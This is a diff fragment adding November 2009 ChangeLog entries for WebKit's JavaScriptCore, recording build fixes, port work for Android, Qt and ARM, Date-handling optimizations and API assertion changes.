+        and for this to automagically cause execution to take place in the world associated with the
+        global object associated with the ExecState (JSContextRef) passed.  However this is not how
+        things work - the world must be explicitly set within WebCore.
+
+        Making this work just for API calls to evaluate & call will be a far from perfect solution,
+        since direct (non-API) use of JSC still relies on WebCore setting the current world correctly.
+        A better solution would be to make this all work automagically all throughout WebCore, but this
+        will require more refactoring.
+
+        Since the API is in JSC but worlds only exist in WebCore, add callbacks on the JSGlobalData::ClientData
+        to allow it to update the current world on entry/exit via the JSC API.  This is temporary duck
+        tape, and should be removed once the current world no longer needs to be explicitly tracked.
+
+        * API/JSBase.cpp:
+        (JSEvaluateScript):
+        * API/JSObjectRef.cpp:
+        (JSObjectCallAsFunction):
+        * JavaScriptCore.exp:
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::ClientData::beginningExecution):
+        (JSC::JSGlobalData::ClientData::completedExecution):
+        * runtime/JSGlobalData.h:
+
+2009-11-23  Steve Block  <steveblock@google.com>
+
+        Reviewed by Dmitry Titov.
+
+        Adds MainThreadAndroid.cpp with Android-specific WTF threading functions.
+        https://bugs.webkit.org/show_bug.cgi?id=31807
+
+        * wtf/android: Added.
+        * wtf/android/MainThreadAndroid.cpp: Added.
+        (WTF::timeoutFired):
+        (WTF::initializeMainThreadPlatform):
+        (WTF::scheduleDispatchFunctionsOnMainThread):
+
+2009-11-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31748
+        Make WebSocketHandleCFNet respect proxy auto-configuration files via CFProxySupport
+
+        * JavaScriptCore.exp: Export callOnMainThreadAndWait.
 
 2009-11-23  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
@@ -106,6 +9015,213 @@
         (JSC::stringProtoFuncLastIndexOf):Add an extra test 
         to check for NaN for Symbian.
 
+2009-11-23  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Android port lacks implementation of atomicIncrement and atomicDecrement.
+        https://bugs.webkit.org/show_bug.cgi?id=31715
+
+        * wtf/Threading.h: Modified.
+        (WTF::atomicIncrement): Added Android implementation.
+        (WTF::atomicDecrement): Added Android implementation.
+
+2009-11-22  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Sort source lists and remove obsolete comments 
+        from the build system.
+
+        * JavaScriptCore.pri:
+
+2009-11-21  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt][Mac] Turn on multiple JavaScript threads for QtWebkit on Mac
+        https://bugs.webkit.org/show_bug.cgi?id=31753
+
+        * wtf/Platform.h:
+
+2009-11-19  Steve Block  <steveblock@google.com>
+
+        Android port lacks configuration in Platform.h and config.h.
+        https://bugs.webkit.org/show_bug.cgi?id=31671
+
+        * wtf/Platform.h: Modified. Added Android-specific configuration.
+
+2009-11-19  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31690
+        Make SocketStreamHandleCFNet work on Windows
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * wtf/MainThread.cpp:
+        (WTF::FunctionWithContext::FunctionWithContext):
+        (WTF::dispatchFunctionsFromMainThread):
+        (WTF::callOnMainThreadAndWait):
+        * wtf/MainThread.h:
+        Re-add callOnMainThreadAndWait(), which was removed in bug 23926.
+
+2009-11-19  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        isMainThread() on Chromium (Mac and Linux) is so slow it timeouts LayoutTests..
+        https://bugs.webkit.org/show_bug.cgi?id=31693
+
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::initializeThreading): grab and use the pthread_t of the main thread instead of ThreadIdentifier.
+        (WTF::isMainThread): Ditto.
+
+2009-11-19  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Remove HAVE(STRING_H) guard from JavaScriptCore
+        https://bugs.webkit.org/show_bug.cgi?id=31668
+
+        * config.h:
+        * runtime/UString.cpp:
+
+2009-11-19  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Fixing a bug in MessageQueue::removeIf() that leads to an
+        assertion failure.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31657
+
+        * wtf/MessageQueue.h:
+        (WTF::MessageQueue::removeIf):
+
+2009-11-19  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Remove HAVE(FLOAT_H) guard
+        https://bugs.webkit.org/show_bug.cgi?id=31661
+
+        JavaScriptCore has a dependency on float.h, there is
+        no need to guard float.h.
+
+        * runtime/DatePrototype.cpp: Remove include directive 
+        for float.h as it is included in MathExtras.h already.
+        * runtime/Operations.cpp: Ditto.
+        * runtime/UString.cpp: Ditto.
+        * wtf/dtoa.cpp: Ditto.
+        * wtf/MathExtras.h: Remove HAVE(FLOAT_H) guard.
+        * wtf/Platform.h: Ditto.
+
+2009-11-19  Thiago Macieira <thiago.macieira@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Build fix for 32-bit Sparc machines: these machines are big-endian.
+
+        * wtf/Platform.h:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Remove support for Qt v4.3 or older versions
+        https://bugs.webkit.org/show_bug.cgi?id=29469
+
+        * JavaScriptCore.pro:
+        * jsc.pro:
+        * wtf/unicode/qt4/UnicodeQt4.h:
+
+2009-11-18  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Move UString::from(double) implementation to new
+        WTF::doubleToStringInJavaScriptFormat(), and expose it because WebCore
+        code will use it.
+        https://bugs.webkit.org/show_bug.cgi?id=31330
+
+        - Introduce new function createRep(const char*, unsigned) and
+          UString::UString(const char*, unsigned) to reduce 2 calls to strlen().
+        - Fix a bug that dtoa() doesn't update *rve if the input value is NaN
+          or Infinity.
+
+        No new tests because this doesn't change the behavior.
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * runtime/UString.cpp:
+        (JSC::createRep):
+        (JSC::UString::UString):
+        (JSC::UString::from): Move the code to doubleToStringInJavaScriptFormat().
+        * runtime/UString.h:
+        * wtf/dtoa.cpp:
+        (WTF::dtoa): Fix a bug about rve.
+        (WTF::append): A helper for doubleToStringInJavaScriptFormat().
+        (WTF::doubleToStringInJavaScriptFormat): Move the code from UString::from(double).
+        * wtf/dtoa.h:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Remove WTF_USE_JAVASCRIPTCORE_BINDINGS as it is no longer used
+        https://bugs.webkit.org/show_bug.cgi?id=31643
+
+        * JavaScriptCore.pro:
+
+2009-11-18  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Remove Chromium's unnecessary dependency on wtf's tcmalloc files.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31648
+
+        * JavaScriptCore.gyp/JavaScriptCore.gyp:
+
+2009-11-18  Thiago Macieira <thiago.macieira@nokia.com>
+
+        Reviewed by Gavin Barraclough.
+
+        [Qt] Implement symbol hiding for JSC's JIT functions.
+
+        These functions are implemented directly in assembly, so they need the
+        proper directives to enable/disable visibility. On ELF systems, it's
+        .hidden, whereas on Mach-O systems (Mac) it's .private_extern. On
+        Windows, it's not necessary since you have to explicitly export. I
+        also implemented the AIX idiom, though it's unlikely anyone will
+        implement AIX/POWER JIT.
+        https://bugs.webkit.org/show_bug.cgi?id=30864
+
+        * jit/JITStubs.cpp:
+
+2009-11-18  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Interpreter may do an out of range access when throwing an exception in the profiler.
+        https://bugs.webkit.org/show_bug.cgi?id=31635
+
+        Add bounds check.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::throwException):
+
+2009-11-18  Gabor Loki  <loki@inf.u-szeged.hu>
+
+        Reviewed by Darin Adler.
+
+        Fix the clobber list of cacheFlush for ARM and Thumb2 on Linux
+        https://bugs.webkit.org/show_bug.cgi?id=31631
+
+        * jit/ExecutableAllocator.h:
+        (JSC::ExecutableAllocator::cacheFlush):
+
 2009-11-18  Harald Fernengel  <harald.fernengel@nokia.com>
 
         Reviewed by Simon Hausmann.
@@ -118,6 +9234,91 @@
 
         * JavaScriptCore.pri:
 
+2009-11-17  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Add JSContextRefPrivate.h to list of copied files.
+
+        Reviewed by Mark Rowe.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCoreGenerated.make:
+
+2009-11-17  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [GTK] Style cleanup for GOwnPtr
+        https://bugs.webkit.org/show_bug.cgi?id=31506
+
+        Remove forward declaration in GOwnPtr and do some style cleanup.
+
+        * wtf/GOwnPtr.cpp:
+        * wtf/GOwnPtr.h:
+        (WTF::GOwnPtr::GOwnPtr):
+        (WTF::GOwnPtr::~GOwnPtr):
+        (WTF::GOwnPtr::get):
+        (WTF::GOwnPtr::release):
+        (WTF::GOwnPtr::outPtr):
+        (WTF::GOwnPtr::set):
+        (WTF::GOwnPtr::clear):
+        (WTF::GOwnPtr::operator*):
+        (WTF::GOwnPtr::operator->):
+        (WTF::GOwnPtr::operator!):
+        (WTF::GOwnPtr::operator UnspecifiedBoolType):
+        (WTF::GOwnPtr::swap):
+        (WTF::swap):
+        (WTF::operator==):
+        (WTF::operator!=):
+        (WTF::getPtr):
+        (WTF::freeOwnedGPtr):
+
+2009-11-17  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Incorrect use of JavaScriptCore API in DumpRenderTree
+        https://bugs.webkit.org/show_bug.cgi?id=31577
+
+        Add assertions to the 'toJS' functions to catch mistakes like
+        this early.  Restructure existing code which blindly passed potentially
+        null values to toJS when forwarding exceptions so that a null check is
+        performed first.
+
+        * API/APICast.h:
+        (toJS):
+        (toJSForGC):
+        * API/JSCallbackObjectFunctions.h:
+        (JSC::::getOwnPropertySlot):
+        (JSC::::put):
+        (JSC::::deleteProperty):
+        (JSC::::construct):
+        (JSC::::hasInstance):
+        (JSC::::call):
+        (JSC::::toNumber):
+        (JSC::::toString):
+        (JSC::::staticValueGetter):
+        (JSC::::callbackGetter):
+        * API/tests/testapi.c: Fix errors in the API tester.
+        (MyObject_getProperty):
+        (MyObject_convertToType):
+        (EvilExceptionObject_convertToType):
+
+2009-11-16  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
+
+        Reviewed by Gavin Barraclough.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31050
+
+        Minor fixes for JSVALUE32_64: branchConvertDoubleToInt32
+        failed on a CortexA8 CPU, but not on a simulator; and
+        JITCall.cpp modifications was somehow not committed to mainline.
+
+        * assembler/ARMAssembler.h:
+        (JSC::ARMAssembler::fmrs_r):
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::branchConvertDoubleToInt32):
+        * jit/JITCall.cpp:
+        (JSC::JIT::compileOpCall):
+
 2009-11-16  Joerg Bornemann  <joerg.bornemann@trolltech.com>
 
         Reviewed by Simon Hausmann.
@@ -127,18 +9328,102 @@
         * JavaScriptCore.pri: Add missing include path.
         * wtf/Platform.h: Include ce_time.h for Windows CE 6.
 
-2009-11-12  Thiago Macieira <thiago.macieira@nokia.com>
+2009-11-13  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
 
-        Reviewed by Kenneth Rohde Christiansen.
+        Reviewed by Gavin Barraclough.
 
-        [Qt] Fix linking on Linux 32-bit.
+        https://bugs.webkit.org/show_bug.cgi?id=31050
 
-        It was missing the ".text" directive at the top of the file,
-        indicating that code would follow. Without it, the assembler created
-        "NOTYPE" symbols, which would result in linker errors.
-        https://bugs.webkit.org/show_bug.cgi?id=30863
+        Adding optimization support for mode JSVALUE32_64
+        on ARM systems.
+
+        * jit/JIT.h:
+        * jit/JITCall.cpp:
+        (JSC::JIT::compileOpCall):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::emit_op_method_check):
+        (JSC::JIT::compileGetByIdHotPath):
+        (JSC::JIT::compileGetByIdSlowCase):
+        (JSC::JIT::emit_op_put_by_id):
 
+2009-11-14  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
+
+        Reviewed by Gavin Barraclough.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31050
+
+        Adding JSVALUE32_64 support for ARM (but not turning it
+        on by default). All optimizations must be disabled, since
+        this patch is only the first of a series of patches.
+
+        During the work, a lot of x86 specific code revealed and
+        made platform independent.
+        See revisions: 50531 50541 50593 50594 50595
+
+        * assembler/ARMAssembler.h:
+        (JSC::ARMAssembler::):
+        (JSC::ARMAssembler::fdivd_r):
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::lshift32):
+        (JSC::MacroAssemblerARM::neg32):
+        (JSC::MacroAssemblerARM::rshift32):
+        (JSC::MacroAssemblerARM::branchOr32):
+        (JSC::MacroAssemblerARM::set8):
+        (JSC::MacroAssemblerARM::setTest8):
+        (JSC::MacroAssemblerARM::loadDouble):
+        (JSC::MacroAssemblerARM::divDouble):
+        (JSC::MacroAssemblerARM::convertInt32ToDouble):
+        (JSC::MacroAssemblerARM::zeroDouble):
+        * jit/JIT.cpp:
+        * jit/JIT.h:
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
         * jit/JITStubs.cpp:
+        * wtf/StdLibExtras.h:
+
+2009-11-13  Dominik Röttsches  <dominik.roettsches@access-company.com>
+
+        Reviewed by Eric Seidel.
+
+        Unify TextBoundaries implementations by only relying on WTF Unicode abstractions
+        https://bugs.webkit.org/show_bug.cgi?id=31468
+
+        Adding isAlphanumeric abstraction, required
+        by TextBoundaries.cpp.
+
+        * wtf/unicode/glib/UnicodeGLib.h:
+        (WTF::Unicode::isAlphanumeric):
+        * wtf/unicode/icu/UnicodeIcu.h:
+        (WTF::Unicode::isAlphanumeric):
+
+2009-11-13  Norbert Leser  <norbert.leser&nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Added macros for USERINCLUDE paths within symbian blocks
+        to guarantee inclusion of respective header files from local path
+        first (to avoid clashes with same names of header files in system include path).
+
+        * JavaScriptCore.pri:
+
+2009-11-13  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        JSValueProtect and JSValueUnprotect don't protect API wrapper values
+        https://bugs.webkit.org/show_bug.cgi?id=31485
+
+        Make JSValueProtect/Unprotect use a new 'toJS' function, 'toJSForGC' that
+        does not attempt to to strip out API wrapper objects.
+
+        * API/APICast.h:
+        (toJSForGC):
+        * API/JSValueRef.cpp:
+        (JSValueProtect):
+        (JSValueUnprotect):
+        * API/tests/testapi.c:
+        (makeGlobalNumberValue):
+        (main):
 
 2009-11-13  İsmail Dönmez  <ismail@namtrac.org>
 
@@ -148,6 +9433,63 @@
 
         * JavaScriptCore.pri:
 
+2009-11-12  Steve VanDeBogart  <vandebo@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Calculate the time offset only if we were able to parse
+        the date string. This saves an IPC in Chromium for
+        invalid date strings.
+        https://bugs.webkit.org/show_bug.cgi?id=31416
+
+        * wtf/DateMath.cpp:
+        (WTF::parseDateFromNullTerminatedCharacters):
+        (JSC::parseDateFromNullTerminatedCharacters):
+
+2009-11-12  Oliver Hunt  <oliver@apple.com>
+
+        Rollout r50896 until i can work out why it causes failures.
+
+        * bytecompiler/BytecodeGenerator.cpp:
+        (JSC::BytecodeGenerator::emitReturn):
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::execute):
+        * parser/Nodes.cpp:
+        (JSC::EvalNode::emitBytecode):
+
+2009-11-12  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Stephanie Lewis.
+
+        Remove LIBRARY directive from def file to fix Debug_All target.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-11-12  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Rubber-stamped by Holger Freyther.
+
+        Revert r50204, since it makes DRT crash on 32 bits release builds
+        for GTK+.
+
+        * wtf/FastMalloc.h:
+
+2009-11-12  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Start unifying entry logic for function and eval code.
+
+        Eval now uses a ret instruction to end execution, and sets up
+        a callframe more in line with what we do for function entry.
+
+        * bytecompiler/BytecodeGenerator.cpp:
+        (JSC::BytecodeGenerator::emitReturn):
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::execute):
+        * parser/Nodes.cpp:
+        (JSC::EvalNode::emitBytecode):
+
 2009-11-12  Richard Moe Gustavsen  <richard.gustavsen@nokia.com>
 
         Reviewed by Kenneth Rohde Christiansen.
@@ -160,6 +9502,654 @@
 
         * wtf/Platform.h:
 
+2009-11-12  Thiago Macieira <thiago.macieira@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Fix linking on Linux 32-bit.
+
+        It was missing the ".text" directive at the top of the file,
+        indicating that code would follow. Without it, the assembler created
+        "NOTYPE" symbols, which would result in linker errors.
+        https://bugs.webkit.org/show_bug.cgi?id=30863
+
+        * jit/JITStubs.cpp:
+
+2009-11-11  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Refactor multiple JavaScriptCore threads
+        https://bugs.webkit.org/show_bug.cgi?id=31328
+
+        Remove the id field from the PlatformThread structure 
+        as it is not used.
+
+        * runtime/Collector.cpp:
+        (JSC::getCurrentPlatformThread):
+        (JSC::suspendThread):
+        (JSC::resumeThread):
+        (JSC::getPlatformThreadRegisters):
+
+2009-11-10  Geoffrey Garen  <ggaren@apple.com>
+
+        Linux build fix: Added an #include for UINT_MAX.
+
+        * runtime/WeakRandom.h:
+
+2009-11-10  Geoffrey Garen  <ggaren@apple.com>
+
+        JavaScriptGlue build fix: Marked a file 'private' instead of 'project'.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2009-11-10  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Gavin "avGni arBalroguch" Barraclough.
+
+        Faster Math.random, based on GameRand.
+        
+        SunSpider says 1.4% faster.
+
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+        * JavaScriptCore.xcodeproj/project.pbxproj: Added the header to the project.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::JSGlobalData):
+        * runtime/JSGlobalData.h: Use an object to track random number generation
+        state, initialized to the current time.
+
+        * runtime/MathObject.cpp:
+        (JSC::MathObject::MathObject):
+        (JSC::mathProtoFuncRandom): Use the new hotness.
+
+        * runtime/WeakRandom.h: Added.
+        (JSC::WeakRandom::WeakRandom):
+        (JSC::WeakRandom::get):
+        (JSC::WeakRandom::advance): The new hotness.
+
+2009-11-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Imported the v8 DST cache.
+        
+        SunSpider says 1.5% faster.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::resetDateCache): Reset the DST cache when resetting
+        other date data.
+
+        * runtime/JSGlobalData.h:
+        (JSC::DSTOffsetCache::DSTOffsetCache):
+        (JSC::DSTOffsetCache::reset): Added a struct for the DST cache.
+
+        * wtf/DateMath.cpp:
+        (WTF::calculateDSTOffsetSimple):
+        (WTF::calculateDSTOffset):
+        (WTF::parseDateFromNullTerminatedCharacters):
+        (JSC::getDSTOffset):
+        (JSC::gregorianDateTimeToMS):
+        (JSC::msToGregorianDateTime):
+        (JSC::parseDateFromNullTerminatedCharacters):
+        * wtf/DateMath.h: The imported code for probing and updating the cache.
+
+2009-11-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed an edge case that could cause the engine not to notice a timezone
+        change.
+        
+        No test because this case would require manual intervention to change
+        the timezone during the test.
+        
+        SunSpider reports no change.
+
+        * runtime/DateInstanceCache.h:
+        (JSC::DateInstanceCache::DateInstanceCache):
+        (JSC::DateInstanceCache::reset): Added a helper function for resetting
+        this cache. Also, shrank the cache, since we'll be resetting it often.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::resetDateCache): Include resetting the DateInstanceCache
+        in resetting Date data. (Otherwise, a cache hit could bypass a necessary
+        timezone update check.)
+
+2009-11-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Some manual inlining and constant propogation in Date code.
+        
+        SunSpider reports a 0.4% speedup on date-*, no overall speedup. Shark
+        says some previously evident stalls are now gone.
+
+        * runtime/DateConstructor.cpp:
+        (JSC::callDate):
+        * runtime/DateConversion.cpp:
+        (JSC::formatTime):
+        (JSC::formatTimeUTC): Split formatTime into UTC and non-UTC variants.
+
+        * runtime/DateConversion.h:
+        * runtime/DateInstance.cpp:
+        (JSC::DateInstance::calculateGregorianDateTime):
+        (JSC::DateInstance::calculateGregorianDateTimeUTC):
+        * runtime/DateInstance.h:
+        (JSC::DateInstance::gregorianDateTime):
+        (JSC::DateInstance::gregorianDateTimeUTC): Split gregorianDateTime into
+        a UTC and non-UTC variant, and split each variant into a fast inline
+        case and a slow out-of-line case.
+
+        * runtime/DatePrototype.cpp:
+        (JSC::formatLocaleDate):
+        (JSC::dateProtoFuncToString):
+        (JSC::dateProtoFuncToUTCString):
+        (JSC::dateProtoFuncToISOString):
+        (JSC::dateProtoFuncToDateString):
+        (JSC::dateProtoFuncToTimeString):
+        (JSC::dateProtoFuncGetFullYear):
+        (JSC::dateProtoFuncGetUTCFullYear):
+        (JSC::dateProtoFuncToGMTString):
+        (JSC::dateProtoFuncGetMonth):
+        (JSC::dateProtoFuncGetUTCMonth):
+        (JSC::dateProtoFuncGetDate):
+        (JSC::dateProtoFuncGetUTCDate):
+        (JSC::dateProtoFuncGetDay):
+        (JSC::dateProtoFuncGetUTCDay):
+        (JSC::dateProtoFuncGetHours):
+        (JSC::dateProtoFuncGetUTCHours):
+        (JSC::dateProtoFuncGetMinutes):
+        (JSC::dateProtoFuncGetUTCMinutes):
+        (JSC::dateProtoFuncGetSeconds):
+        (JSC::dateProtoFuncGetUTCSeconds):
+        (JSC::dateProtoFuncGetTimezoneOffset):
+        (JSC::setNewValueFromTimeArgs):
+        (JSC::setNewValueFromDateArgs):
+        (JSC::dateProtoFuncSetYear):
+        (JSC::dateProtoFuncGetYear): Updated for the gregorianDateTime change above.
+
+2009-11-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: export a new symbol.
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-11-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam "Home Wrecker" Weinig.
+
+        Added a tiny cache for Date parsing.
+        
+        SunSpider says 1.2% faster.
+
+        * runtime/DateConversion.cpp:
+        (JSC::parseDate): Try to reuse the last parsed Date, if present.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::resetDateCache):
+        * runtime/JSGlobalData.h: Added storage for last parsed Date. Refactored
+        this code to make resetting the date cache easier.
+
+        * runtime/JSGlobalObject.h:
+        (JSC::DynamicGlobalObjectScope::DynamicGlobalObjectScope): Updated for
+        refactoring.
+
+        * wtf/DateMath.cpp:
+        (JSC::parseDateFromNullTerminatedCharacters):
+        * wtf/DateMath.h: Changed ExecState to be first parameter, as is the JSC custom.
+
+2009-11-09  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Can cache prototype lookups on uncacheable dictionaries.
+        https://bugs.webkit.org/show_bug.cgi?id=31198
+
+        Replace fromDictionaryTransition with flattenDictionaryObject and
+        flattenDictionaryStructure.  This change is necessary as we need to
+        guarantee that our attempt to convert away from a dictionary structure
+        will definitely succeed, and in some cases this requires mutating the
+        object storage itself.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::tryCacheGetByID):
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::tryCacheGetByID):
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/BatchedTransitionOptimizer.h:
+        (JSC::BatchedTransitionOptimizer::~BatchedTransitionOptimizer):
+        * runtime/JSObject.h:
+        (JSC::JSObject::flattenDictionaryObject):
+        * runtime/Operations.h:
+        (JSC::normalizePrototypeChain):
+        * runtime/Structure.cpp:
+        (JSC::Structure::flattenDictionaryStructure):
+        (JSC::comparePropertyMapEntryIndices):
+        * runtime/Structure.h:
+
+2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Not reviewed, build fix.
+
+        Remove extra character from r50701.
+
+        * JavaScriptCore.pri:
+
+2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Not reviewed, build fix.
+
+        Revert r50695 because it broke QtWebKit (clean builds).
+
+        * JavaScriptCore.pri:
+
+2009-11-09  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Prepended $$PWD to GENERATED_SOURCES_DIR to avoid potential ambiguities when included from WebCore.pro.
+        Some preprocessors consider this GENERATED_SOURCES_DIR relative to current invoking dir (e.g., ./WebCore),
+        and not the working dir of JavaCriptCore.pri (i.e., ../JavaScriptCore/).
+
+        * JavaScriptCore.pri:
+
+2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Use explicit parentheses to silence gcc 4.4 -Wparentheses warnings
+        https://bugs.webkit.org/show_bug.cgi?id=31040
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+
+2009-11-08  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (speculative snow leopard and windows build fixes).
+
+        * wtf/DateMath.cpp:
+        (WTF::parseDateFromNullTerminatedCharacters):
+        (JSC::gregorianDateTimeToMS):
+        (JSC::msToGregorianDateTime):
+        (JSC::parseDateFromNullTerminatedCharacters):
+        * wtf/DateMath.h:
+        (JSC::GregorianDateTime::GregorianDateTime):
+
+2009-11-08  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (chromium build fix).
+        
+        Hopefully, the last build fix.
+
+        Create better separation in DateMath about the JSC
+        and non-JSC portions. Also, only expose the non-JSC
+        version in the exports.
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * wtf/DateMath.cpp:
+        (WTF::parseDateFromNullTerminatedCharacters):
+        (JSC::getUTCOffset):
+        (JSC::gregorianDateTimeToMS):
+        (JSC::msToGregorianDateTime):
+        (JSC::parseDateFromNullTerminatedCharacters):
+        * wtf/DateMath.h:
+        (JSC::gmtoffset):
+
+2009-11-08  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (chromium build fix).
+
+        For the change in DateMath.
+
+        * config.h:
+        * wtf/DateMath.cpp:
+
+2009-11-06  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: export some symbols.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-11-06  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: updated export file.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-11-06  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: added some #includes.
+
+        * wtf/CurrentTime.h:
+        * wtf/DateMath.h:
+
+2009-11-06  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31197
+        Implemented a timezone cache not based on Mac OS X's notify_check API.
+        
+        If the VM calculates the local timezone offset from UTC, it caches the
+        result until the end of the current VM invocation. (We don't want to cache
+        forever, because the user's timezone may change over time.)
+        
+        This removes notify_* overhead on Mac, and, more significantly, removes
+        OS time and date call overhead on non-Mac platforms.
+
+        ~8% speedup on Date microbenchmark on Mac. SunSpider reports maybe a tiny
+        speedup on Mac. (Speedup on non-Mac platforms should be even more noticeable.)
+
+        * JavaScriptCore.exp:
+
+        * interpreter/CachedCall.h:
+        (JSC::CachedCall::CachedCall):
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::execute):
+        * runtime/JSGlobalObject.h:
+        (JSC::DynamicGlobalObjectScope::DynamicGlobalObjectScope): Made the 
+        DynamicGlobalObjectScope constructor responsible for checking whether a
+        dynamicGlobalObject has already been set. This eliminated some duplicate
+        client code, and allowed me to avoid adding even more duplicate client
+        code. Made DynamicGlobalObjectScope responsible for resetting the
+        local timezone cache upon first entry to the VM.
+
+        * runtime/DateConstructor.cpp:
+        (JSC::constructDate):
+        (JSC::callDate):
+        (JSC::dateParse):
+        (JSC::dateUTC):
+        * runtime/DateConversion.cpp:
+        (JSC::parseDate):
+        * runtime/DateConversion.h:
+        * runtime/DateInstance.cpp:
+        (JSC::DateInstance::gregorianDateTime):
+        * runtime/DateInstance.h:
+        * runtime/DateInstanceCache.h:
+        * runtime/DatePrototype.cpp:
+        (JSC::setNewValueFromTimeArgs):
+        (JSC::setNewValueFromDateArgs):
+        (JSC::dateProtoFuncSetYear):
+        * runtime/InitializeThreading.cpp:
+        (JSC::initializeThreadingOnce):
